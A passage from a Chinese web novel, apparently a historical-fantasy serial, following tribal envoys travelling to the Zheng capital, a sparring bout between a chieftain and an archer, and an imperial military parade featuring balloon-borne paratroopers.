吕侑见吕齐肯出手相帮,急忙说道:“只要三弟肯向殿帅求情,为兄就已经很感激了,至于结果好坏,都是天意。三弟不必有太多担忧,做了便是,剩下的我们去弥补。” 吕齐看着面前言辞恳切、态度卑微的吕侑,沉思着点了点头。 凌晨原本也没想着对幽州吕家喊打喊杀,毕竟抛去吕齐的面子不谈,幽州吕家也在和应开疆的最后一战中开过城门。对他们动手多少有点卸磨杀驴、过河拆桥的意思。 此举对于平定南方不利,会造成非常不好的影响。 如果对他们举起屠刀的话,那下次别说金陵了,江南的每一座城池都需要靠大郑将士的生命去敲开。 所以当吕齐找上自己时,他非常痛快的就答应了。幽州吕家不用上交九成五,交个一半家产意思意思就可以了。 淑妃被剥去协理后宫之权,从正二品的妃位降为正五品的才人。陛下并没有给她安排罪名,但最近发生了什么大事,大家都清楚。 这场因为蛋糕分配意见相左的斗争,从秋末一直持续到隆冬,前前后后一共有八千多人被杀,三万多人被流放到西川和陇右的雪域高原下服徭役以及防守边关。 喜欢陛下就是躺赢狗请大家收藏:()陛下就是躺赢狗更新速度全网最快。 第211章 牂牁蛮第一鹰派 刚柔并济、抚剿并用。 把大棒和胡萝卜递到你面前,二选一,一直是大郑立国以来惯用的手段。 有些人听不懂文明用语,还当你好欺负,你要毫不犹豫的给他脑袋上来一棒子,叫他清醒清醒,认清楚人与人之间的差距。 有些人却是迫不得已或者另有苦衷,你不能见面就干,要耐心劝说,循循善诱,使得浪子回头,避免不必要的流血和战斗。 凭借着这一教条,大郑从汝南起兵,灭掉宋舒,威服淮扬;攻破徐州,关东归心;邺城决战后,河北诸府一半归附,一半征服。 继而挥师西进,关中易帜,打趴李遗景;剿灭孙芝,云中拜服。汉中投诚,孟玄出降。 几乎全部都遵循着打一架,谈一桩的原则。 现在,又该谈了。 这次的目标,是牂牁蛮。 如果想要水师东下攻取江南,那就必须集全国之力,一鼓而定。到时候西川可能会防守空虚,兵力不足。 再加上西川距离中原有点远,如果有事,禁军到时候也不能及时支援。所以,在对江南发起攻势前,一定要解决所有后顾之忧。 威胁最大的,就是牂牁蛮。 大理段家都没他们威胁大。 云贵高原是个什么地形,老表们都清楚。气候炎热潮湿、树林茂密丛生,尤其是在五代时期,蚊虫密集、道路崎岖,有些地方还有瘴气。 没有当地人领路,都不用劳烦土司们动手,进去的军队自己会死。 不然孟家四代人经营了半个多世纪的年月,怎么还是没能征服牂牁蛮? 现在,蜀军换成了郑军,大蜀皇帝孟玄换成了西南行营都部署种平,但对于牂牁蛮的各位土司们来说,没有区别。 有种你就来。 这个地方也不适合空降作战,挂树上和撞悬崖的概率极大,落地后无法快速有效的聚集在一起,很容易被挨个点掉。就算聚在一起了,也很难和外面的主力配合作战。 麻烦到什么程度呢? 牂牁蛮的各大土司们自己都无法兼并统一彼此,只能是互相商量着来,少数服从多数。 但是,他们却可以随时从寨子里下来,对巴蜀平原发动袭击。 其实大郑如果铁了心要消灭他们,也没有多难,只要集结十万人马,不嫌麻烦一座寨子一座寨子的拆,也能将他们连根拔起。 但这样做的话,需要的人力、财力、时间成本都太大了,根本不划算。 而且如果真的这样做了,只会引来当地人的敌视和仇恨,就算能用武力解决一时,以后肯定还会麻烦不断的。 必须要逼降他们,要让他们明白,大郑不是收拾不了他们,而是不想让双方的百姓和士兵白白流血。 于是,大郑的使者带着礼物来到了牂牁蛮各位大土司的寨子和城池里。 但不是来劝降的。 而是来邀请各位土司或者他们的子女代表前往汴京,参加由殿帅向陛下提出的汴京城北阅兵活动。 各位土司懵了,阅兵? 那是个什么玩意儿? 使者们只好耐心向各位土司解释说,他们也不知道,连大郑官民百姓也是头一次听说。只知道届时一定场面壮观,应该会和陛下当年登基时一样盛极一时,请各位一定要赏脸,我们会报销全部差旅费用。 呃……不用担心,大郑皇帝用信誉担保,有返程的。 土司们你看看我,我看看你,既然这样…… 那就去呗。 十二位大土司中,有十一位决定派家族继承人和嫡出的子女前去,以表示对大郑皇帝的尊重。 心里服不服是一回事儿,表面上不能真的敷衍,驻守在成都和奉节的八万野战军可不是开玩笑的。真要惹怒了文训,鱼死网破,谁也落不着好。 还有一位大土司,决定亲自前往汴京,瞅瞅是怎么个事儿~ 乌蒙部的首领,牂牁蛮十二洞主之一,综合实力排名第三,军事实力排名第二的着名鹰派人物——罗岩山。 这哥们的体型跟他的名字一样,雄壮的像一座山,脑袋大脖子粗,胳膊快赶上使者的腰粗了。身高接近两米,一身的银饰蓝花褂,光是往那一站,就气势骇人。 脾气火爆,一脸怒容,关键他还不是那种普通的有勇无谋之辈,此人熟读《孙子兵法》等中原书籍,对政治、韬略、经济、文化等各个领域都有涉猎。 如果不是出生地选的不好,夹在了大理、西川和牂牁蛮的三方交界地带,他是最有希望统一牂牁蛮诸部的。 “什么大郑王师?很强吗?不还是要乖乖来给我们送礼,请我们去做客?” “我看你们是癞克宝打哈欠——脸丑口气大!李家嘛……郑军只要敢打进矩州府,我扛起九环大刀请你们吃粑粑!” “你们那个什么殿帅,我听说只是个二十几岁的小伙子,还是靠巴结皇帝上位的。我生平最看不惯的就是这种人,这趟我要亲自去汴京,你,提前回去跟他说好,本洞主到时候要跟他单挑!” 看着气势汹汹的罗岩山,大郑使者傻在了原地。 跟……跟殿帅单挑吗? “下官一定将洞主的话带到。” 罗岩山敢放出此等豪言,不是没有依据的。他年轻时曾徒手将一头成年水牛按着头压制在地上动弹不得,货真价实的在牛角上跳舞的男人! 如今三十七岁的他正值壮年,一拳下去能轰晕一头牛,说是西楚霸王转世都不为过。区区一个乳臭未干的毛头小子,成为我证道成神、扬名天下的垫脚石吧! 而且他此行是带着和平的目的,以切磋的名义,就算是在汴京把那小子打的哭爹喊娘又如何?只要小心点不弄死他,就是老皇帝也不能把自己怎么样。 要是自己出了事,大郑没有容人之量的消息传出去,你看剩下的十一位洞主还有哪个敢信你们的邪!大理、岭南、唐国谁还敢生出投降的心思? 就是荆南的张照初和泉州的陈瑾,怕是也得生出畏惧的心思来,不敢再一股脑的听命。 其他十一位洞主听说他要亲自去汴京旅游后,不禁竖起了大拇指,这胆量、这气魄,就挺牛逼。 既然如此,那你罗洞主就代表我们矩州府的父老乡亲们,去拜会拜会皇帝陛下吧。 对,就这样,精神点~ 喜欢陛下就是躺赢狗请大家收藏:()陛下就是躺赢狗更新速度全网最快。 第212章 建隆观武(上) 牂牁蛮第一勇士,乌蒙部的首领、十二洞主之一的罗岩山竟然要亲自来到汴京参加城北观武!当这则消息传回大郑后,礼部尚书魏序还真有点焦虑。 前段日子他还在感慨,现在的年轻人真是长江后浪推前浪,一代更比一代强。曹嘉、胡文庆、阎改之,这些二三十岁的小伙子都是深入虎穴、搅动风云的人物,比自己年轻时可要强多了。 没成想牂牁蛮也有高手,三十七岁的罗岩山竟然有如此胆魄,居然敢亲赴大郑帝国的心脏地带,还扬言要挑战凌晨!是该说他心大无知呢?还是说他勇猛无畏呢? 魏序可是亲眼看到凌晨是如何从飞天螳螂手中救出自己家娴儿的啊! 无论怎么讲,都要联系各方保护好这个大聪明的行程安全,此事成了礼部当下的头等大事、重中之重。 礼部的命令下达到沿途各州府,措辞之严厉,让西南行营都部署种平都有些犯愁。 给罗岩山和牂牁蛮的各位继承人、贵子贵女们安排哪条路线呢?走永安——夷陵——南阳一线就得坐船,万一船翻了咋整?这小子会游泳吗?别再给呛死了…… 走剑阁——汉中——上庸一线吧……万一山上栈道断裂或者有高山落石不小心砸到这位爷,又该如何?毕竟他那么重,体型又大,压垮栈道和被石头砸中的几率也蛮高的…… 愁人! 罗岩山可不管这些,舒舒服服的坐上大郑派来的豪华马车就出发了。这一趟牂牁蛮的使者团里就数他资历老、年纪大、实力强,其他人不是他的后辈就是孙辈。 罗洞主葛优瘫在车内,手握夜光杯,品尝着泸州窖藏,欣赏着沿途的山花草木,说不出的惬意和悠然。 在泸州还碰到了老熟人——大理段家的三王爷,段息烽。 “嗨呀~三王爷,上次丽江一别,许久不见了,你怎么还是这么娘们唧唧的?干嘛总把胡子刮了,留着多有男人味!” 段息烽懒得理会这个没有边界感的家伙,与他坐上同一辆马车后,一言不发的夺走他身侧的酒坛子。 虽然热脸贴了冷屁股,可一向脾气暴躁的罗岩山却一点也没有恼怒的迹象,反而笑呵呵的从车内箱子里取出一个同款夜光杯递给段息烽。 这小子娘是娘了点,可打仗是真有两下子。他们一起反抗过孟玄的侵略,也互相伤害过,这不,现在又坐在同一辆马车里了。 老实说,段息烽一点都不娘,这位身份尊贵的皇子身上揉杂着一股将书卷气和杀伐气融合在一起的儒将风范,是大理段氏军方的代表人物之一。 但没用,在罗岩山眼中,男人如果没有雄壮的肌肉和胡子拉碴的外表,统统都划到娘炮那一类去。 当沃野千里的天府之国出现在眼前后,西南使团一连走了八天,才走到巴蜀平原的尽头,在西南行营军队的保护下弃车登船,沿江东下。 两岸峭壁如刀削般齐整,峰仞直插苍穹;江水如练,惊涛拍岸,船行碧波间;行到水穷处,坐看云起时,如同进入了一片奇幻世界。 牂牁蛮的其他年轻人都聚在甲板上,一起聊天畅谈。 段息烽双手负立在船头,面色平静,目光冷冽,又藏着一丝不易察觉的担忧。 但很快,耳畔传来一道“呕~”声,就将他的养气功夫瞬间打破了。他嫌弃的伸出手,揪住罗岩山脖子上的衣领,将他提住防止摔倒。 先前还意气风发的罗洞主,这会儿晕船晕的七荤八素。 他扶着栏杆,双眼满是泪莹,血丝遍布,不住的朝着水里干呕。当然也不全是干呕,还有口水,昨夜吃的好东西先前早就都吐光了,胃水都吐没了…… “你这个样子就不要出来丢人现眼了,回船舱歇着去。” 感觉到天旋地转的罗岩山听到段息烽的话后,强撑着摆了摆手,死鸭子只剩下嘴硬了:“不……我就是今早起来酒吃多了,无碍,无碍……呕!!” “啧……” 段息烽无语的闭上了眼睛,十分嫌弃的抿着嘴别过脸去。 朝辞白帝彩云间,千里江陵一日还。 还好糟糕的水路并没有持续多久,使团很快就从永安到达了繁华富庶的入川咽喉、江陵府治下的夷陵县。 一行人弃船登岸后,邵之祁派来的荆襄骑兵接到了他们,护送着使团一路向北而去。在马车里缓了大半天的罗洞主这才恢复了一点气力,但也虚脱的不行,脑壳晕乎乎的。 “我看这大郑啊,不来也罢,这一路也太遭罪了……” “是你身子弱。” “什么?我弱?!姓段的,你再说一遍!敢不敢跟我出去比划比……哎呦!!” 罗岩山刚刚激动的站起身来,就失去平衡一头磕到马车边上,撞的脑袋一嗡,只好蹲下来坐回座位上,捂着脑袋直吸凉气。 段息烽没有理会他,而是伸出食指掀起车帘一角,忧心忡忡的向外面望去。 一望无际的南阳盆地被冬日的薄雾笼罩,沿途的村落、建筑随处可见,堆积的木柴和稻草成堆成堆的累积在一起,田野间、小河畔,依旧有百姓劳作的身影。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!不算离开大理的路程,光是从西川平原算起,已经接连不断的走了十一天了,除了一日一夜的水路,其他大部分时间都在平坦的地面上行走,却才到南阳地界。 大郑……太大了。 揉完头的罗岩山坐回到座位上,揭起另一边的车帘向外看去,面色也凝重了起来。 “老段,你说……如果我们跟大郑开战的话,胜算大吗?” 这次,段息烽并没有嫌弃的冷着他,而是微微叹了一口气,声音落寞的回应道—— “我也不知道……” 出了南阳盆地,进入颍河流域后,西南使团彻底褪去了旅途的新鲜感和远离熟悉生活的兴奋,一股沉重压抑的情绪,萦绕在每个人的心头。 平整的良田桑陌,错落的村庄市集,繁华的城镇街道,宛如夏侯惇看路易十六,一眼望不到头。 仿佛永远都走不完。 数日后—— 段息烽和罗岩山,以及众多牂牁蛮土司的代表们,立在汴京南城门下,望着巍峨雄宏的高大城关,全都一言不发。 事实胜于雄辩,亲眼见到了大郑的模样后,他们心中已经明白,要战胜这样庞大的帝国,太难了。 要知道,汴京居于天下中心,也就是说,他们这二十一天的颠沛行程,只走完了一半的大郑…… 一股淡淡的绝望从心头升起。 荣升礼部员外郎的胡文庆,亲自带着鸿胪寺的接待官员和京城禁军们,热情的笑着走上前去与西南使团成员寒暄。 “诸位一路辛苦了~在下姓胡,名文庆,现任礼部员外郎,奉陛下旨意、尚书大人之命,在此迎接诸位王爷、洞主和使者。” 段息烽和罗岩山对视一眼,一起向胡文庆抱拳作揖还礼,他们身后的年轻人们也齐齐跟着行礼。 见礼完毕后,段息烽盯着胡文庆开口问道:“莫非大人就是传闻中那位两赴灵州、谋定西疆的青衣弈手?” 胡文庆谦虚一笑:“那都是西部行营的将士用命,沙场争功;更赖朔方李公深明道义,顾全大局。在下不过是略尽绵薄之力,卖弄卖弄唇舌而已,不值一提。” 段息烽闻言后长叹了一口气,望着高耸的城楼喃喃道:“像大人这般名震天下的俊杰,也只能是员外郎吗……那侍郎,尚书又该是何等人物……” 胡文庆笑着答道:“呵呵~段王爷不必心急,十四日后城北观武,文武百官俱会到场。届时莫说六部尚书,就是殿帅和陛下,王爷也能见到。” 听到“殿帅”这个字眼,罗岩山心中的灰败一扫而空,又提起了一丝兴趣: “你口中的这个殿帅住在哪里?他这会在家吗?你不必管我,将他们带去歇息即可。本洞主此行就是专程来找他切磋武艺的,可速告我~” 听到这句话的胡文庆愣了一下,饶是他八面玲珑,见惯了大场面,此刻也有点接不上罗岩山的话。 “这……殿帅高深莫测,来去如风,平日里行踪不定,在下位卑言轻,亦不能知……” 罗岩山不耐烦的大手一挥道:“那你就告诉我他住哪里,我自己去寻他去。” 啊? 还有人提这种要求?? 胡文庆啧了啧嘴,略一思索后便回答道:“殿帅不喜被人打扰,洞主要不……还是暂且忍耐数日,待……” “你这秀才怎么磨磨唧唧的?我先前就叫使者提前告知了他,如今更是不远万里跋山涉水而来,见他一面都这么难么?就是陛下也不能这般怠慢我等吧?” 唉…… 行吧,既然你非要上赶着挨揍,那就别怪我没提醒你了。 胡文庆朝着身后一招手,立刻就有一位鸿胪寺的官员走上前来。 “朱大人,既然罗洞主有此雅兴,那就劳烦你一趟,为洞主带路去趟郡公府,拜会一下殿帅吧~” 那位朱姓官员面部微抽了一下,既同情又佩服还无语的看了罗岩山一眼,无奈的对着胡文庆拱手称是。 密码的!! 那阎王爷才按生死簿把京城权贵挨个点了一遍名,老子躲都躲不及,倒了血霉碰上你这么个愣头青专要去寻他!还让我来带路! 但愿他不要迁怒于我吧,唉…… 于是乎,一拨人分成两队,胡文庆带着使团大部分成员前往鸿胪寺准备的驿站歇息,不情不愿的朱大人被迫带着罗岩山前往临颍郡公府。 解二在大门口听着忐忑不安的朱大人讲完事情的来龙去脉后,疑惑的看了一眼双手叉腰的罗岩山,挥手说道:“殿帅去秦王府名下的后竹林了,你们去那里寻他吧。” 可怜的朱大人连忙陪笑着称是,然后立刻扯着罗岩山这个活爹的胳膊,将他带离了郡公府。郡公府的那扇大门在朱大人眼里,和冒着白雾、绿光照射的鬼门关没什么区别。 柴扉竹篱笆,茅顶荒草坡,一片茂密枯黄的竹林被简陋的篱笆随意的围了起来,每隔十步便有提刀侍卫立守,面色冷峻、目光锐利的扫视着周围的一切动静。 舞暗林,乱风晃落竹叶飘。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!秦王府的侍卫们耐心的听朱大人汇报完后,叫他们暂且等等,立刻转身进入竹林里去通报。 不一会,来了一个手握长弓,背背箭筒的健壮汉子,看年龄,与罗岩山相差无几。 罗岩山上下打量了段平一眼,毫不客气的开口问道:“你就是凌晨?” 段平摇了摇头后,示意朱大人暂且去一旁的茅屋休息,他自己亲自带着罗岩山向竹林里走去。 “末将是殿帅身边的一名小卒,殿帅说了,若是洞主能胜的过末将,他会亲自出来迎接洞主。若是洞主不能胜末将,还请回鸿胪寺榻下歇息。” 罗岩山听的脚步一顿,顿时怒从心头起,这特么不是看不起人么! 刚巧脚边有根晾衣服的竹竿架子,他伸手一把抽了下来,挥舞着破风声就毫不犹豫的朝着段平劈去!! 段平听得“呜呜”的破风声,立刻向前一扑,单手撑地一个侧滑,既躲开了罗岩山劈下来的竹棍子,又将身体单膝撑地面向了他。 “洞主莫要急,前面亭前有许多兵器,洞主可挑一件称手的,末将也要换成无头箭枝方能切磋。否则羽箭锋利,若是伤了您千金之躯……” “少废话!!” 罗岩山是真生气了,这也太看不起人了!! 自己不来,派个小兵过来跟我打,更逆天的是这小兵竟然也如此狂妄!竟然要用无头箭矢!还怕伤了我! 等我把你打的鼻青脸肿时,再看谁伤了谁!! “呜呜呜~” 盛气凌人的竹影欺身而来,逼的段平不断躲闪后退,一连几次他都差点习惯性的顺手爆了罗岩山的头,但好在最后都忍住了。 勉强用弓身招架着势大力沉的竹棍,段平费力的引导着罗岩山向竹林中心的石亭退去,二人一路追逐着奔至石亭前的林间空地上。段平果断扯下后背上的箭筒,瞅准机会攥起一把箭头上包了白色布团的训练箭滚到一边。 “啪!!” 罗岩山一棍子砸向摆放着各种弓箭和兵器的架子,连带着手中的竹棍都劈成了满是毛刺的不规则断面。 他冷着脸丢掉手中的半截竹棍,眯眼看了一眼将箭搭在弓弦上的段平,低头弯腰从散了一地的兵器中提起一把阔背砍刀,在手中掂了掂后,横在右侧用左胳膊架着,目露凶光冲向段平。 “嗖——” 一箭快如飞电,只能看到一道残影从空中划过,罗岩山快速挥刀“梆”的一声挡掉了箭矢,毫不留手的劈向段平! 段平继续在地上翻滚着躲开了这一刀,重新搭箭再次射出。 牛皮不是吹出来的,罗岩山是真有点东西,二人只有不到三米的距离,他竟然果断将阔刀刀身竖握在自己身前,白色箭头再次被挡落。 这下,双方对彼此的实力都有了清晰的了解。 段平看着距离如此之近,竟然还能被挡落在地的箭矢陷入了沉思。 罗岩山感受着虎口传来的震麻,心中再也不敢轻视眼前的“小兵”了。 寒风吹过竹林,地面冻土僵硬,下一刻,罗岩山一脚踩出,泥土飞溅,用力挥刀横劈向了段平的脑袋!段平蹲在地上毫不躲避,张弓搭箭,目光冷酷。 想赢的人,脸上是不会有笑容的。 弦如满月,一箭穿空,正中罗岩山手臂上的银护腕,力道之大、势劲之猛,直接将他手中的刀震脱,掉落在了地上。他自己也因为吃痛瞬间失去平衡,重重的摔倒在了地上,擦到段平身前。 罗岩山吸了一口冷气,咬着牙急忙抬头一看,表情立刻愣住了—— 一团白布箭头正抵在自己的眉心处。 两箭不中,因为你是南蛮洞主。 一箭卸刃,因为我是大郑神射。 一胖一壮两道身影并排坐在石亭的台阶上,罗岩山看着护腕上凹进去的洞,久久无言。这要是换了铁箭头,自己的手腕怕是已经被洞穿了。 “末将出手重了些,洞主没受伤吧?” “……,无碍。” 段平看了看罗岩山的手腕,见确实没有大碍后,这才放心的松了一口气。 罗岩山叹了一口气,扭头看着段平,佩服的说道:“兄弟,你箭法真好,我知道你其实是留了手的。中原地大物博,能人辈出,今日我算是真正见识到了。” 段平谦虚一笑:“我这三脚猫的功夫,其实上不得台面。若是殿帅出手,我可能撑不过三息。” 罗岩山看着表情不似作伪,甚至还隐隐有些敬畏之色的段平,心中升起一股淡淡的怀疑,实在无法想象,会有那么强的人。 他不信邪的拍着段平肩膀问道:“兄弟,你老实告诉我,那个殿帅真有那么厉害吗?还是你在说场面话给他贴金?” 段平笑了笑,一脸认真的望着罗岩山的眼睛,坚定的点头答道:“文无第一,武无第二,打不过……就是打不过。” 罗岩山张口结舌的望着段平的眼睛,嘴巴微动,却终究没有说出什么话来。 不远处的一团竹枝后,凌晨和韩登并排而立,正在狗狗祟祟的偷窥这俩。 “哎,那傻大个看着有两下子,又是不远万里专程来寻你的,你确定不出去跟他切磋切磋?” “切磋个毛!老子这一身罗裘在烟雨楼买的,一百三十两银子呢!你让我跟他们一样翻地打滚啊?你咋不去呢?” “切~无趣~” 喜欢陛下就是躺赢狗请大家收藏:()陛下就是躺赢狗更新速度全网最快。 第213章 建隆观武(下) 建隆四年,正月初一。 天上的云没有几朵,太阳也不是那种昏暗的白色光圈,称得上是一个好天气。挑这天是因为时间吉利,同时也是因为天气好。 天气好是司天监那帮天天数星星的官员们推算出来的,老文也放心的将日子定到了今天,想来他们应该也不会拿自己的九族开玩笑。 汴京城北的城墙根到护城河之间,聚集了大量前来观赏的士民官吏。他们被整齐的区分成块状片区,有序的待在观礼地点,人头攒动,声如鼎沸。每个人的脸上都露出浓浓的好奇和欢喜的笑容,还有来自泱泱大国的自信与从容。 城头上到处都是迎风招展的旌旗和色彩斑斓、大小不一的伞盖。大郑的达官显贵、朝臣勋爵、命妇贵女们按品级高低分门别类的坐在宽阔的城墙之上,彼此之间谈笑风生,和认识的人打着招呼。 铜炉中的烈火在熊熊燃烧,御林军的金银卫们将整个北城墙附近都严密监视和布控起来,防止有不轨之徒捣乱和生事。 北城门正上方的城楼里,文训一身明黄龙袍加身,大马金刀的坐在座位上,单手撑腮,嘴角噙着淡淡的笑意,高坐上首。何关握着刀立在他的身后,四周楼阶全是御林金卫,龙威尽显。 文若与中书门下的大佬们坐在陛下身边,六部尚书分坐两旁,再下面都是来自各地的使臣使者们。 这次邀请的使者有点多。 西域方面有哈拉汗王国的王子,西州回鹘王国的王子,于阗王国的国王胞弟。 草原方面除了高车部之外,其余各部都派了使臣前来观礼觐见。 南方来的最多,大理国主的三儿子、牂牁蛮十二洞的各位洞主代表、岭南刘思的使者、交趾吴光的使者、陈瑾、张照初的儿子、唐国重臣金陵太守周沛。 除此之外,还有两位从雪域高原上下来的贵客,以及来自南洋的吕宋等国使者。东海之外的扶桑也来了两个阵营不同的遣唐使。 全天下的目光,今日聚焦于此。 文训看着这满堂宾客,抬了一手袖袍,志得意满,兴尽然。 正午时分,牛角号声和擂鼓点声同时响起,悠扬空旷的声音响彻在整个城关之上。早已经等的不耐烦、有些焦躁不安的人们这才声音小了下去,纷纷伸长脖子向着城楼外张望。 凌晨从城楼外走了进来,扫视着坐在楼中的各大势力使臣们,微微一笑,走到中央朝着文训行礼:“启禀陛下,一切就绪。” 文训闻言后点了点头,缓缓起身,对着满座宾客臣属们说道:“好,那诸位就随朕一起,欣赏欣赏我大郑的将士的威容吧~” 说罢,他便傲首阔步的走向楼外,文若和凌晨一左一右跟在他的身后,众位朝臣和使者们紧随其后,鱼贯而出,一起来到了宽阔的城楼之上。 文训登上绣龙伞盖下的高台就座,其他人纷纷扶着城垛向外望去。 下方,是乌泱泱的人群。 护城河外,左侧远处全是模糊的人影,正前方更远处,是波涛汹涌的黄河。 凌晨朝着不远处的段平看了一眼,对方立刻会意,将手中的箭矢伸进正在燃烧的火盆中,引燃箭头后,朝着右侧搭建出的一座高台上的超级大火把射了上去。 黑烟滚滚,升腾而起。 护城河边的二十一堆狼烟,在看到城楼上的信号后,也立刻一起点燃,在所有观众眼中行成一道壮观的烟林。 护城河外,从东向西走来一支军队, 一名手捧礼册的内官,立在城楼二楼上,用尖细嘹亮的声音挨个唱名—— “第一支,禁军马军中军帐下,领军将领:薛定。” 黑片红翎,人马具甲,铁黑色的兜鍪顶上插着红羽毛。背背箭筒,腰挎短弓和长刃,个个手持长柄大刀,排列着整齐的队伍,在薛定的率领下来到了城门正前方后,带领全军齐呼“万岁”! 文训呵呵笑着朝他们挥了挥手。 “第二支,东南行营青州军,领军将领:卫应。” 棕甲黄披风,马脖子左边挂的是弓,右边挂的是箭,每个人腰间还别着宝剑,手中提着制式的长枪,头戴开面狮盔甲,行进间尘土飞扬,一看就是久经沙场的铁骑。 “第三支,西部行营陇右府兵……” “第四支,洛阳府乡军……” “第五支,北方行营静塞军……” “第六支,北方行营破虏营……” “第七支,北方行营中军帐下……” “第八支,云中府,云中军……” “第九支,西南行营中军帐下……” “第十支,朔方府,定难军……” 一支接一支威武雄壮、冷酷肃穆的军队从君臣百姓们面前走过。 他们装备不一,各有特色,来自大郑各大行营和地方州府,有着不同的职责和任务。但他们都是大郑帝国的锋利剑刃、护国基石。他们全都停下来,朝着城头之上的皇帝陛下高呼“万岁”。 前前后后,拢共过去了一万多人。 这章没有结束,请点击下一页继续阅读!大郑的官员百姓们自然是高兴的挥舞着手臂向将士们招手问好,热情回应。其他势力的使者们则是面色凝重,或抿嘴轻叹、或缄口不言、或脸色苍白。 “第二十四支,蓬莱水师……” “第二十五支,荆襄水师……” 远处的黄河今年没有结冰,无数高大的楼船、艋艟、战舰列着整齐的阵型从水面上一批接一批的驶过,大大小小上百艘战船接连不断,看的唐国使者周沛眉头紧皱,久久不能舒展。 他清楚的明白,这些水军是专门用来对付大唐的。 大郑有这样强大的水军,长江天险,已经形同虚设了…… “第二十六支,禁军直属望云军。领军将领:刘廷让。” 许多人本来都已经产生了视觉疲劳,这么多军容齐整、盔甲鲜明的军队一支接一支的过,反正都是咱大郑的子弟兵,还看个毛,让眼睛歇一歇。 可当大家听到内官喊出望云军后,所有人又都重新打起精神来,全都聚精会神、目不转睛的向着远处看去。 使臣们也纷纷探出脑袋向着受阅部队一直过来的方向搜寻,却并没有看到有什么人。 “呜~呜~呜呜呜~呜呜呜呜呜~” 不远处城头的一座烽火台上,一群吹角号的人突然吹起了奇怪的音律,节奏很快,很急躁,不像是中原雅音。但每个人都能听出里面的慷慨激昂和浓浓的压迫感。 这是凌晨特意传授给宫廷乐师和军号手的《红警苏联进行曲》,现在叫《大郑进行曲》。虽然没有那么精准,但也大差不差了。 许多人都听的一头雾水,各国使臣们也都面面相觑,议论纷纷。传闻不是说,这是一支飘在天上的军队吗?城头前方一片空旷,地面和天空中什么都没有,军队呢? 总不能是那群吹号角和打鼓的乐师吧? 其实这也是没有办法的事情,今天的风不急,吹的也是南风,大家此刻都面朝北方,当然看不见了。 不过,搞点突然的震撼,也挺好的。 罗岩山正皱着眉头朝着面前张望,突然感觉天空中的太阳似乎被什么挡住了,一团巨大的阴影将自己所在的地方笼罩,速度还不慢。他下意识的就抬头望去—— 天菩萨!! 从汴京城内由东南向西北,天空中密密麻麻飘着三四十个巨大的圆形孔明灯,有白色的、黑色的、黄色的、蓝色的、红色的,呼啸着从城头上方越过下方数万观礼人群,惊的到处人声叫嚷! “天呐!你们快看天上!那是什么?!” “那……那就是望云军吗!难怪叫望云,望之如观云……” “可是这样的军队要怎么打仗呢?这也没用啊?” “嘘!休得胡言,听说就是他们破开的剑门关,必有其机妙之处!” 待越过城墙后,刘廷让背着伞包,第一个从热气球的藤筐里单手撑边,毫不犹豫的跳了下来! 下一刻,无数望云军从空中一个接一个如同雨点般坠落,下方观礼的人群看的纷纷尖叫起来!有些心脏不好的更是直接两眼一翻晕了过去! 但很快,一朵朵洁白的蒲公英在空中张开,漫天都是交错乱飞的伞兵,他们全都四散开来,按照落地顺序精准的降落在了护城河外的空地上,紧接着快速收了伞布和伞绳,手持武器排列整齐。 刘廷让立在队伍最前方,朝着城头之上大喝道:“吾皇万岁,万万岁!” “吾皇万岁!万万岁!!” 朝廷百官们眼睛都直了!这特么是我们的军队?从天上飞下来还能毫发无伤、安然无恙?怎么做到的?! 百姓、尤其是女子们更是捂嘴惊呼、眼冒星星!这也太帅了吧!他们的胆子好大!本领好强!好厉害啊!! 各地使者们则是目瞪口呆,僵在原地不能动弹。罗岩山的眼神都清澈许多了!他这辈子也没想过有人竟然能飞上天,还能从天上跳下来,还能站起来行礼说话!! 这怎么可能?! 这就是大郑灭掉了孟玄的原因吗?! 唐国重臣周沛双手紧紧抓着冰冷的城垛,一双眼睛通红,一颗心沉到了谷底。 大唐……怎么和这样的大郑对抗啊?!如果说面对他们强大的水师还有一战之力的话,那这支望云军又该怎么办?他们刚才飞的那么高,弓箭根本射不到啊! 往下落时倒是可以射到,但谁知道他们什么时候落,落在哪里啊?! 看他们这个样子,似乎完全可以直接飞过长江,飞过金陵城墙,无视一切大唐精心设计、引以为傲的防御布置,直接飘落到陛下居住的皇宫里去! 你告诉我这怎么防? 待到望云军全部离开之后,许多人还是没能从震惊和懵逼中缓过神来,这也太离谱了,远远超出了他们的理解范畴。 “第二十七支,也是此次观武大典的最后一支军队——禁军直属龙啸营,统军将领:陈啸。” ?? 还…… 还有?!! 观礼的人群彻底沸腾了!!前来参加活动的各国使者们已经忍不住想要骂娘了! 这章没有结束,请点击下一页继续阅读!去球的!你的意思是刚才那帮怪物居然还不是压箱底的?? 罗岩山摸了一把头发,深呼吸着朝四周看了看,强制自己冷静下来,颇有一股子破罐子破摔的意味。 来来来,来,我已经免疫了,有种你就直接给我请个神仙出来,移山填海算了! “各位,各位,各位~~” 凌晨踩着台阶走上高台,立在文训身边,将指挥受阅军队的旗帜握在手中,朝着满城墙躁动不安的人群大声叫喊,示意他们安静—— “这最后一只军队啊,我这个殿帅没有资格指挥,也指挥不动他们。只有九五至尊、真龙天子才能让他们向大家露出冰山一角。现在请大家安静下来,与我一同恭请陛下下令,诸君~且听龙吟!” 说罢,凌晨单膝跪地,低头跪在了文训身旁,恭恭敬敬的双手举起令旗,递到了他的面前: “请陛下下令!” 城头上的所有人纷纷跟着凌晨跪了下来,各国使臣犹豫了一下,也只好跟着人们跪下,所有人齐齐喊道:“请陛下下令!” 文训看着所有人都拜倒在自己面前的场面,心理上获得了极大的满足。他微笑着站起身来,从凌晨手中接过令旗,双手高举着左右挥动了两下后,随即豪迈的丢到一旁,大笑着叫众臣平身。 城墙下的护城河外,刚才走过去无数人马的空地上,从两旁推来五座几乎与城墙平齐的攻城塔。士兵们将它们推到一起后,连忙四散跑开,远离了现场。 数万人屏息凝神,好奇的盯着这些攻城塔,空气安静的可怕。 “轰——” 嗯?打雷了?? “砰砰砰砰砰!!” 下一刻,所有人的眼睛都瞪得滚圆滚圆的!! 那五座高大的攻城塔,不知道遭遇了什么东西,火光大作!木屑乱飞!浓烟四溅!整个天地间都响起了巨大的轰鸣声,震耳欲聋!! 人们惊叫着匍匐下身子躲避,一阵骚乱,幸亏有提前提醒过禁军和御林军们注意安抚和控制,不然非得发生踩踏事故不可! 巨大的轰鸣声一直持续了两三分钟才消失,当声音停止之后,人们这才两股战战的爬起身子抬头翘首张望,却看到了更加恐怖的一幕—— 